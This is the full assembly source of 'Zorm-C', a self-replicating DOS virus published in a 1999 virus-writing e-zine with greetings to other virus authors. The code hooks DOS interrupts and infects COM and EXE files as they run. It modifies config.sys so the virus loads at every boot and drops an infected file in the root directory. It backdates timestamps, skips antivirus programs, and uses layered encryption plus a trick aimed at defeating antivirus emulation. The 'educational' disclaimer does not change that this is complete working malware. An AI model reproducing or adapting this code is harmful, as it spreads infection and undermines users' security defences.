code segment
assume cs:code,ds:code,es:code

org 0h



;*****               *****
;  *                   * 
;  * echnological    ***** llusion presents:
;  Name:   Zorm-C version 1.6
;  Type:   Tsr encrypted not poly  
;  Target: Dos com/exe  

;Only to be published in T.I e-zine
;(C) Doxtor L. /[T.I] March 1999
;This source code is only for educational purposes.
;This virus wasnt written to be spreaded nevertheleast it doesnt contain
;intentionnal destructive routines 

;DESCRIPTION:
;Zorm-C is a dos tsr virus infecting both com/exe dos executables
;it even has ability to infect com executable of dos 7.0 by the so-called 
;"ENUN trick".This virus dont have stealth abilities.The reason is
;not i dont know how to do that in general case,but the standard routines 
;dont work fine due to the way the virus is loaded in memory.
;The infected com dont have a "jmp far" to go to the virus part.
; (if you have a clue about that feel free to send me a message)
;How it works: when an infected file is executed the virus is loaded
;in memory.When the infected program finnishes its execution config.sys
;is modified and an encrypted copy of virus is dropped in c:.
;Some code is appended to config.sys.
;At next boot ,the virus will be loaded in memory and
;believe it or not ,when windows will be loaded,the virus will appear
;in all Dos Window you can open.It means its useless to close a dos session
;to kill completely the virus.When u will open an another dos session the
;virus will be again there in memory even if you dont execute a program.
;No the virus doesnt infect command.com or some sys file! Its kinda magic :).
;When no dos session is opened ...the virus is inactive :(
;This virus was created during an attempt to create a full-stealth dos
;virus.I know some code can be modified to cutt-off some bytes but this
;virus was written for myself.Some months ago i was thinking that a dos virus
;surviving  when you reboot a puter and appearing in all dos session could
;not be exist without infecting command.com (this later case can be done?)
;
;At the time where he was written (even in March 99 :)) NO antivirus was 
;able to detect it! So be carefull!
;
;GREETINGS:
;               Spanska:  youre the only "professional" virus writer i know
;            Mandragore:  i m also a E.D freak, bad beer but low price hehe
;            and all the french scene: cryptic,mist,...
;                T-2000:  an article in 29a zine is better than 10000 greets ;)  
;                 Vecna:  Youre the best!
;               darkman:  Sorry i know only Tania Russloff
;            lord_julus:  i like your tutorials!
;                  raid: when will u write a tsr virus in asic?
;                 tally: here a new virus for your collection ;)
;          and greetings to all virus writers in the world ,especially         
;          those chatting on irc,you know what i m talking about and 
;          who youre ;)      

begin_virus:
      
      xor cx,cx                         ; 
      mov ds,cx                         ;set ds=0 

      db 0beh                           ;mov si,offset begin_crypt2
      patch2 dw begin_crypt2            ;
      mov cx,end_crypt2-begin_crypt2    ;numbers of bytes to decrypt

      ;trick to stop the emulation of code by drweb
      ;thanx lord_julus to show me it !
      
      sub ax,1
      mov di,410h                            
      mov bx,word ptr ds:[di]           ;read directly hardware installed 
                                        ;at 0:0410h  
      
      int 11h                           ;same action using interrupt 

      add ax,1                          ;
      sub ax,bx                         ; 
      xchg ax,bx                        ;=>bl=1 

      db 0b0h                           ;mov al,key2
      key2: db -1                       ;
      add al,bl                         ;=>al=key2+1




        
      crypt:                            ;encrypt/decrypt routine 

      mov ah,byte ptr cs:[si]           ;based on xor  mathematic function
      xor ah,al                         ;al=key 
      mov byte ptr cs:[si],ah           ;

      inc si
      loop crypt
;(i know xor byte ptr [si],al is shorter than the 3 first instructions
;of my routine, but tbav seems to not notice the lame version and stuck 
;the optimized one! )

      _ret:
      db 90h

;::::::::::::::::::::::::::::::Begin of 1st part::::::::::::::::::::::::::

      begin_crypt2:
      db 0beh                            ;mov si,offset begin_crypt1
      patch1: dw begin_crypt1            ;

      db 2eh,0c6h,06h                    ;mov byte cs:ptr [_ret],0c3h
      ret_addr:                          ;                   
      dw _ret                            ;                     
      db 0c3h                            ;[c3h=opcode for "ret"]

      labl:
      mov cx,end_crypt1-begin_crypt1
      db 0b0h                           ;mov al,key
      key: db 0                         ;

      call crypt
      db 0ebh          ;jmp begin_crypt1 (first time)
      vers:            ;        
      db 00h           ;jmp begin_crypt3 (second time)
      
      end_crypt2:
;::::::::::::::::::::::::::::::End of 1st part::::::::::::::::::::::::::::








;::::::::::::::::::::::::::::::Begin 2nd part:::::::::::::::::::::::::::::      

begin_crypt1:
int 15h
cmp ah,86h
jnz begin_crypt1
db 0beh                                 ;lea si,begin_crypt3
      patch3: dw begin_crypt3           ;

db 2eh,0c6h,06                          ;mov byte ptr [vers],number bytes
vers_addr:                              ;to go to begin_crypt3 from "vers"
dw vers                                 ;label             
db (offset begin_crypt3-offset vers)-1  ;                    
jz labl
end_crypt1:

;::::::::::::::::::::::::::::::End second part::::::::::::::::::::::::::::










;::::::::::::::::::::::::::::::Begin of 3rd part::::::::::::::::::::::::::

begin_crypt3:
db 0beh                                 ; lea   si,begin_crypt4
         patch4: dw begin_crypt4        ;

mov cx,end_crypt4-begin_crypt4          ;number bytes to decrypt

xor dx,dx
mov ax,3d00h                            ;=> dos error code: al:=2   
int 21h

db 04h                                  ;add al
key3: db -2                             ;(key3:=-2 at the very first execution)                                    
call crypt         

end_crypt3:

;::::::::::::::::::::::::::::::End of 3rd part::::::::::::::::::::::::::::






;::::::::::::::::::::::::::::::Begin of 4th part::::::::::::::::::::::::::

begin_crypt4:

;cli                            ;useless it seems!                       
;mov ax,ss                      ;let ss=cs
;dec ax
;mov ss,ax
;sti

call me                        ;compute delta offset
me:
pop bp
sub bp,offset me
mov word ptr cs:[_ds+bp],es        
         

      push cs
      pop ds


mov ax,es          ;
mov bx,cs          ;are we a com or a exe program? 
cmp ax,bx          ;
jnz not_com

lea si,old_ss+bp   ;we are a com file...
mov di,100h        ;restore the original
mov cx,9           ;18 bytes of uninfected program 
rep movsw          ;



not_com:           
mov ax,6969h       ;are we in memory? 
int 21h            ;
cmp bx,6969h       ;
jnz install        
jmp final

install:           ;we need to install the virus in memory



;Function 4ah of interrupt 21h
;This function changes the size of a memory block based at es:0
;es:0 points to the beginning of memory block [not its mcb]
;bx contains the size of memory,in paragraphs [1 para=16 bytes]
;we want.




mov ah,4ah       ;number of function we need to call
                 

mov bx,0ffffh    ;We ask dos to allocate a huge amount of memory
                 ;ffffh paragraphs>640k
  
int 21h          ;=>Error,dos return in bx available amount of memory


sub bx,2*((end_virus-begin_virus+15)/16)+1  ;We ask dos all memory
mov ah,4ah                                  ;but a "little" part
int 21h                                     ;
                                      


;((end_virus-begin_virus+15)/16) is the size of virus rounded up
;in paragraphs.
;for example if its size is 1010 bytes ,1016/16 is 63 rounded up.
;But if we ask for 63 para ,we havent enough of memory 'cause,
;63*16=1008<1010.Neverless : (1010+15)/16 rounded up is 64 and
;64*16=1024>1010
;We add "+1" to have space for a new mcb [size of mcb is one para]
;We need to add  that 'cause we are going to build a new one for the memory
;block where we'll put the virus
;The "2*" is for a buffer to encrypt the virus be4 to append it to
;the target file






;Allocation of a memory block
;Function number 48h of int 21h
;bx=numbers of paragraphs we want
;dos returns : ax:0 address of the memory block allocated
;This new block of memory will be the last block of conventional
;memory



mov ah,48h                                  ;
mov bx,2*((end_virus-begin_virus+15)/16)    ; 
int 21h

dec ax                                      ;we want es points to the
mov es,ax                                   ;mcb of the new memory block
                                            

inc ax                                      ;ax:0 is the start of the
                                            ;new memory block
xchg ax,dx

mov ax,1600h                                ;are we in windows dos box?
int 2fh

or al,al             
jnz under_windows                                    
                        
not_under_windows:       
mov byte ptr es:[0],'Z'                     
                                            ;let the block be the last
under_windows:                                       
xchg ax,dx
mov word ptr es:[1],8                       ;let owner of this block be 
                                            ;Dos one's


save_old_21h:
xor bx,bx
mov es,bx
mov bx,word ptr es:[21h*4]
mov word ptr cs:[int21+bp],bx
mov bx,word ptr es:[21h*4+2]
mov word ptr cs:[int21+bp+2],bx

mov_virus:                     ;move virus in memory
mov es,ax                      ;this way it becomes tsr 
mov si,bp
xor di,di
mov cx,end_virus-begin_virus
rep movsb


set_new_int21h:
mov ds,ax
mov ax,2521h
mov dx,offset handleer
int 21h


jmp final



handleer:
pushf

cmp ax,6969h
jne funct_6968
jmp fake_int


funct_6968:
cmp ax,6968h
jne funct_4c
mov byte ptr cs:[drapeau],0ffh
jmp infect


funct_4c:        ;function used by dos to terminate a program
cmp ah,4ch
je its4ch         
jmp funct_4b00   ;not 4ch function
its4ch:
call push_all2

push cs
pop  es

push cs
pop ds



;this routine is used to modified config.sys
;the date of this file is changed to hide the date of 1st infection! ;)

mov ax,3d02h                            ;open config.sys
lea dx,config
call do_int21

xchg ax,bx

mov ax,5700h                            ;check seconds
int 21h
and cl,00011111b
xor cl,00001110b
jz quite1                                ;already modified!,exit



mov ax,4202h                            ;goto the end of config.sys
xor cx,cx
cwd
call do_int21

mov ah,40h                              ;append some dos instructions
mov cx,finale-starting                  ;to the config.sys file
lea dx,string
call do_int21

call set_date                           ;we dont want config.sys 
                                        ;has the current date ;)

mov ah,3eh                              ;close config.sys
call do_int21



quite1:
create:
mov ah,3ch                              ;create a file
lea dx,filez                            ;dropped in root directory
xor cx,cx
or cx,00000010b
call do_int21


xchg ax,bx

mov ah,40h                              ;fill the file with silly bytes
mov cx,32                               
lea dx,junk
call do_int21




call set_date                          ;we dont want "winx.com" has  
                                       ;the current date ;)
 

mov ah,3eh                             ;close the file
call do_int21

mov ax,6968h                           ;to infect the silly file dropped
mov dx,offset filez                    ;in root directory!
int 21h


quite:                                 ;exit
mov ah,3eh                             ;close the file we have just created
call do_int21                          ;and infected 
call pop_all2                          ;restore registers
jmp oldint                             ;goto original function

starting:
string  db 'installhigh=winx.com',0dh,0ah
finale:

junk    db 90h
        db 0cdh,20h
;        db 11h,211h,44h,77h,87h,45h,145h,249h,77h,89h,121h,189h,122h,0ffh,88h,33h
;sign    db 'Zorm-C-16 (c) DrL./[T.I],France,July 98-March 99'
         db 'Z' xor 11h
         db 'O' xor 11h
         db 'R' xor 11h
         db 'M' xor 11h
         db '-' xor 11h
         db 'C' xor 11h
         db '1' xor 11h
         db '.' xor 11h
         db '6' xor 11h
         db '(' xor 11h
         db 'c' xor 11h
         db ')' xor 11h
         db ' ' xor 11h
         db 'D' xor 11h
         db 'r' xor 11h
         db 'L' xor 11h
         db '.' xor 11h
         db '/' xor 11h
         db '[' xor 11h
         db 'T' xor 11h
         db '.' xor 11h
         db 'I' xor 11h
         db ']' xor 11h
         db 'F' xor 11h
         db 'r' xor 11h
         db 'a' xor 11h
         db 'n' xor 11h
         db 'c' xor 11h
         db 'e' xor 11h
         db ',' xor 11h
         db 'J' xor 11h
         db 'u' xor 11h
         db 'l' xor 11h
         db 'y' xor 11h
         db ' ' xor 11h
         db '9' xor 11h
         db '8' xor 11h
         db '-' xor 11h
         db 'M' xor 11h
         db 'a' xor 11h
         db 'r' xor 11h
         db 'c' xor 11h
         db 'h' xor 11h
         db ' ' xor 11h
         db '9' xor 11h
         db '9' xor 11h
      
config  db 'c:\config.sys',0        
filez   db 'c:\winx.com',0
drapeau db 0









funct_4b00:                              ;dos: load and run
     cmp ax,4b00h
     jne  funct_4e
     jmp infect
     
funct_4e:
       jmp oldint                                ;dos: search first  using handle




push_all:                                   ;Push on the stack
pop word ptr cs:[tempo]                     ;registers
pushf
push ax
push bp
push bx
push cx
push di
push ds
push dx
push es
push si
push  word ptr cs:[tempo]
ret

push_all2:
pop word ptr cs:[tempo2]
pushf
push ax bp bx cx di ds dx es si
push word ptr cs:[tempo2]
ret






pop_all:
pop   word ptr cs:[tempo]
pop si
pop es
pop dx
pop ds
pop di
pop cx
pop bx
pop bp
pop ax
popf
push word ptr cs:[tempo]
ret


pop_all2:
pop word ptr cs:[tempo2]
pop si es dx ds di cx bx bp ax
popf
push word ptr cs:[tempo2]
ret

do_int21:
pushf
call  dword ptr cs:[int21]
ret

infect:
call push_all                          

;this routine search the name of file executed
;based on a routine found in the virus named idea from Spanska! 


push cs
pop  es


mov si,dx                               ;search position of "."   
seek_end:
lodsb
cmp al,'.'
jne seek_end

std

seek_start:                             ;search beginning of the name 
lodsb                                   ;of file executed
cmp al,'\'
jne seek_start
inc si
inc si

push ax                                 ;read file attributes
mov ax,4300h                            
call do_int21

and cl,11111110b                        ;change it
mov ax,4301h                            ;we dont want it be "read-only"
call do_int21
pop ax

cld
lodsw                                   ;load in AX two first characters
                                        ;of file executed

lea di,av_list                          ;beginning of the name of an av prog?
mov cx,15
repne scasw

jne open_file                           ;not in the list
call pop_all                            ;founded in the list,restore registers
jmp oldint                              ;and goto original function hooked



open_file:
                          mov ax,3d02h
                          call do_int21
                          xchg ax,bx                 ;put file handle in bx
                          jc termine2


i_m_open:
                          push cs                    ;let cs=ds
                          pop  ds


 
                                                                              
save_date: 
                          mov word ptr cs:[_bx],bx    ;save file handler
 

                          call read_time              ;save timedate
                            
                                                      ;read first 
                          call read_header            ;28 bytes of target file
                                                       
                          mov bp,offset exe_header    ;bp=exe_header buffer
 
                          jc termine2                
;from now bp:=exe_header 
                                                                                  
          
test1:
            cmp word ptr cs:[bp],'ZM'             ;is it really an exe?
            je test3
test2:
            cmp word ptr cs:[bp],'MZ';idem
            jne its_a_com
test3:
            cmp word ptr cs:[bp+12h],'VI'         ;infected?
            je change_second3                     ;yes,bye bye
                        

test3b: 
            cmp word ptr cs:[bp+2],00c6h
            jne test4
            cmp word ptr cs:[bp+4],00b7h
            je termine2 
test4:
            cmp word ptr cs:[bp+26],0             ;overlay=0?
            jne termine2                          ;not,bye bye
test5:
            cmp word ptr cs:[bp+24],40h           ;windows exe?  
            je termine2                           ;yes ,adios :(
             
            jmp la_bas
its_a_com:

  
test_com :
            cmp word ptr cs:[bp+16],4bc3h

change_second3:

            jz change_second2
test_win :
            cmp word ptr cs:[4+bp],0e1fh
            jnz not_win_com
            cmp word ptr cs:[6+bp],0e807h
            jz termine2

not_win_com:

             go_end1:
                           
                          mov dx,-7
                          mov cx,-1
                          mov ax,4202h
                          call do_int21
 
                          jmp over
                          termine2:
                          jmp termine
                          over:

                          lea dx,enums7
                          mov ah,3fh
                          call do_int21
                          
                          add word ptr cs:[enums7+5],heap-begin_virus
            

                          mov al,02h     ;go to end of file
                          call mov_ptr   ;we want to infect
                                         ;ax :=size of file 

                          


                          mov si,bp            ;save original first
                          mov di,offset old_ss ;18 bytes of the file
                          mov cx,9             ;to infect
                          rep movsw

                          mov cx,ax            ;cx:=size of file
                          add cx,100h
                          mov word ptr cs:[jmp_patch],cx
                          call compute_patch
                          call write_it

                          xor al,al       ;go to begin of file                                                  
                          call mov_ptr     

                          mov ah,40h      ;write 18 bytes
                          lea dx,_jmp     ;to the file we
                          mov cx,18       ;want to infect
                          call do_int21 
                          
                           
                                                      

                          lea di,enums7   ;dont want the string "ENUNS"
                          in al,40h       ;appears in the 
                          xchg al,ah      ;end of infected exe
                          in al,40h       ;or non-enuns executable.
                          lea di,enums7   ;Need to fill the buffer
                                          ;with "random" junk bytes
                          stosw           
                          inc ax
                          stosw
                          inc ax
                          stosw

  
                         
                                                                               
     change_second2:
                          jmp change_second
     
                          
     la_bas:                              ;exe infection part 
     store_info_header:
 
                          mov si,offset exe_header+0eh 
                          mov di,offset old_ss         
                          mov cx,05h
                          rep movsw
                          mov byte ptr cs:[here],0eah
               go_end2: 
                          mov al,02h      ;go to the end. 
                          call mov_ptr    ;=> ax:dx := size of
                                          ;the file we want infect 
                                          
                          push ax dx
         
      compute_new_csip:
                          push ax
                          mov ax,word ptr cs:[bp+8]                        
                          mov cl,4
                          shl ax,cl
                          mov cx,ax
                          pop ax
                          sub ax,cx
                          sbb dx,0
                          mov cl,0ch
                          shl dx,cl
                          mov cl,4
                          push ax
                          shr ax,cl
                          add dx,ax
                          shl ax,cl
                          pop cx
                          sub cx,ax
        ;cx,dx need to be saved
        push cx dx
        call compute_patch
        call write_it
        pop  dx cx

        change_header:
                          mov word ptr cs:[bp+14h],cx
                          mov word ptr cs:[bp+16h],dx
                          inc dx
                          mov word ptr cs:[bp+0eh],dx
                          mov word ptr cs:[bp+10h],0FFf0h
                          mov word ptr cs:[bp+0ah],0fFFh
                          mov word ptr cs:[bp+12h],'VI'
                          pop dx ax
                          
      
         compute_size:
                          add ax,heap-begin_virus
                          adc dx,0
                          mov cx,512
                          div cx
                          or dx,dx
                          je enough
                          inc ax
                enough:   
                          mov word ptr cs:[bp+04],ax
                          mov word ptr cs:[bp+02],dx


           go_beginning:
                          mov al,0
                          call mov_ptr
         copy_new_header: 
                          call write_header

change_second:

call reset_time
or cl,01110b
jmp exit

termine:



call reset_time
exit:
call do_int21




need_to_close:

mov ah,3eh
call do_int21


no_need_to_close:
call pop_all
cmp byte ptr cs:[drapeau],0ffh
jne exit_from_there
mov byte ptr cs:[drapeau],0

exit_from_there:
jmp oldint


final:

mov ds,word ptr cs:[_ds+bp]
push ds
pop  es
mov ax,ds
mov cx,cs
cmp ax,cx
jnz exe_return
mov ax,100h
push ax
call set_zero
ret

exe_return:
mov ax,es
add ax,10h
add word ptr cs:[old_cs+bp],ax
cli
add ax,word ptr cs:[bp+old_ss]
mov ss,ax
mov sp,word ptr cs:[bp+old_sp]
sti
call set_zero

jmp here


old_ss  dw 0fff0h
old_sp  dw 0
db 90h
here:
db 0eah
old_ip: dw 0
old_cs  dw 0fff0h
        dw 0
        dw 0
        dw 0
        dw 0

       ;what is following is the header of infected com file....
       ;no "jmp far" at the beginning ;)
_jmp   db 0e8h,02h,00h,0cdh,20h,0bbh,37h,56h,81h,0f3h,0cbh,0a9h,0c7h,07h
       jmp_patch:
                 dw 0
       db 0c3h
       db 'K'

av_list  db 'WICOTBVIAVNAVSFIF-FVIVDRSCGU'






write_it:

make_key:
in al,40h                       ;build new xor-key for crypt routine
or al,al
jz make_key

good_key:


mov ah,al                        ;update the beginning of no_encrypted part
mov byte ptr [key], ah
dec ah           
mov byte ptr [key2],ah
inc ah
mov byte ptr [vers],0
dec ah
dec ah
mov byte ptr [key3],ah

xor si,si                                          ;copy virus to buffer 
mov di,offset queue
mov cx,heap-begin_virus
rep movsb

 
mov cx,end_crypt4-begin_crypt2                     ;encrypt virus in buffer
mov si,offset queue+(begin_crypt2-begin_virus)
call crypt

mov byte ptr [offset queue+(_ret-begin_virus)],90h ;replace "ret" by "nop"
                                                   ;in crypt routine
                         
mov ah,40h                                         ;append virus to
mov cx,heap-begin_virus                            ;target
mov dx,offset queue 
call do_int21
ret


write_header:           
mov ah,40h
mov cx,28
lea dx,exe_header
call do_int21
ret


fake_int:
popf
xchg ax,bx
iret

mov_ptr:
mov ah,42h
xor cx,cx
cwd
call do_int21
ret

oldint24 dd 0
newint24:
mov al,3
iret




compute_patch:
push cx
add cx,offset begin_crypt1-offset begin_virus
mov word ptr [patch1],cx
pop cx
push cx
add cx,offset begin_crypt2-offset begin_virus
mov word ptr [patch2],cx
pop cx
push cx
add cx,offset begin_crypt3-offset begin_virus
mov word ptr [patch3],cx
pop cx
push cx
add cx,offset begin_crypt4-offset begin_virus
mov word ptr [patch4],cx
pop cx
push cx
add cx,vers -begin_virus
mov word ptr [vers_addr],cx
pop cx 
add cx,_ret -begin_virus
mov word ptr [ret_addr],cx
ret


set_date:
mov ax,5701h 
mov dx,0010010011111011b
and cl,11100000b
or cl,00001110b
call do_int21
ret

read_time:
mov ax,5700h
call do_int21
mov word ptr cs:[hour],cx
mov word ptr cs:[date],dx
ret

read_header:
mov cx,28
mov ah,3fh
lea dx,exe_header
call do_int21
ret

set_time:
mov ax,5701h
mov dx,word ptr cs:[date]
mov cx,word ptr cs:[hour]
and cl,11100000b
ret

reset_time:
mov bx,word ptr cs:[_bx]
call set_time
ret


set_zero:
xor ax,ax
xor bx,bx
xor cx,cx
cwd
xor di,di
xor si,si
xor bp,bp
ret

oldint:
popf           
old:
db 0eah                       
end_crypt4:

;::::::::::::::::::::::::::::::End of 4th part::::::::::::::::::::::::::::

int21      dw  2 dup     (?)  ;original interrupt 21h handler
exe_header db 28 dup     (?)  ;buffer for the first 28 bytes of target 
enums7     db 7  dup     (?)  
heap:
 _ds       dw             ?   ;original ds value 
hour       dw             ?        
date       dw             ?
_bx        dw             ?
new_dta    db  100 dup   (?)
tempo      dw             ?
tempo2     dw             ?
file_ext   db  003 dup   (?)
stealth_it db             ?

queue:
end_virus:
code ends
end begin_virus


